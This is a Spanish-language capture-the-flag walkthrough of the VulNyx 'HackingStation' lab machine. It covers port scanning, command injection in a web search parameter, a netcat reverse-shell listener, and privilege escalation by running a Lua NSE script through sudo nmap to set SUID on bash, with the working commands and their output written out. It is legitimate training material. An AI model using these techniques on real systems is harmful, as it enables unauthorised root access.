VulNyx | HackingStation (Walkthrough)

HackingStation es una máquina virtual Linux de dificultad baja de la plataforma VulNyx, creada por el usuario HackCommander y funciona correctamente en VirtualBox.

Skills:

• Command Injection
• Privesc | Nmap (Sudo)

Nmap

❯ nmap -n -Pn -sS -p- --min-rate="5000" 192.168.1.56

Starting Nmap 7.94SVN ( nmap.org ) at 2024-04-22 10:55 CEST
Nmap scan report for 192.168.1.56
Host is up (0.000094s latency).
Not shown: 65534 closed tcp ports (reset)

PORT   STATE SERVICE
80/tcp open  http

❯ nmap -sVC -p80 192.168.1.56

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-22 10:56 CEST
Nmap scan report for 192.168.1.56
Host is up (0.00030s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: HackingStation
|_http-server-header: Apache/2.4.57 (Debian)

80 http Apache httpd 2.4.57 ((Debian))

Port: 80 (HTTP)

realizo una búsqueda a modo de prueba

parece que el parámetro toma como argumento el input del usuario

Command Injection

consigo ejecutar comandos como usuario hacker

ya ejecutando comandos intento obtener una reverse shell

obtengo la shell como hacker

❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.67] from (UNKNOWN) [192.168.1.56] 34194
id;hostname
uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)
HackingStation

Privilege Escalation

hacker puede ejecutar nmap como root con sudo

hacker@HackingStation:/$ sudo -l
Matching Defaults entries for hacker on HackingStation:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User hacker may run the following commands on HackingStation:
    (root) NOPASSWD: /usr/bin/nmap

en GTFOBins nos dan el one liner para obtener una shell

https://gtfobins.github.io/gtfobins/nmap/

me convierto en usuario root abusando del privilegio

hacker@HackingStation:/$ ls -l $(which bash)
-rwxr-xr-x 1 root root 1265648 Apr 23  2023 /usr/bin/bash

hacker@HackingStation:/$ echo -n 'os.execute("chmod 4755 /usr/bin/bash")' >/dev/shm/privesc.nse

hacker@HackingStation:/$ sudo -u root /usr/bin/nmap --script=/dev/shm/privesc.nse
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-22 11:17 CEST
NSE: failed to initialize the script engine:
/usr/bin/../share/nmap/nse_main.lua:636: /dev/shm/privesc.nse is missing required field: 'action'
stack traceback:
 [C]: in function 'error'
 /usr/bin/../share/nmap/nse_main.lua:636: in field 'new'
 /usr/bin/../share/nmap/nse_main.lua:840: in local 'get_chosen_scripts'
 /usr/bin/../share/nmap/nse_main.lua:1344: in main chunk
 [C]: in ?

QUITTING!

hacker@HackingStation:/$ ls -l $(which bash)
-rwsr-xr-x 1 root root 1265648 Apr 23  2023 /usr/bin/bash

hacker@HackingStation:/$ /usr/bin/bash -p
bash-5.2# id
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)

ya como usuario root puedo leer las flags user.txt y root.txt

bash-5.2# find / -name user.txt -o -name root.txt |xargs cat
f900f7fb************************
e34efd51************************

hasta aquí la máquina HackingStation.

Happy Hacking!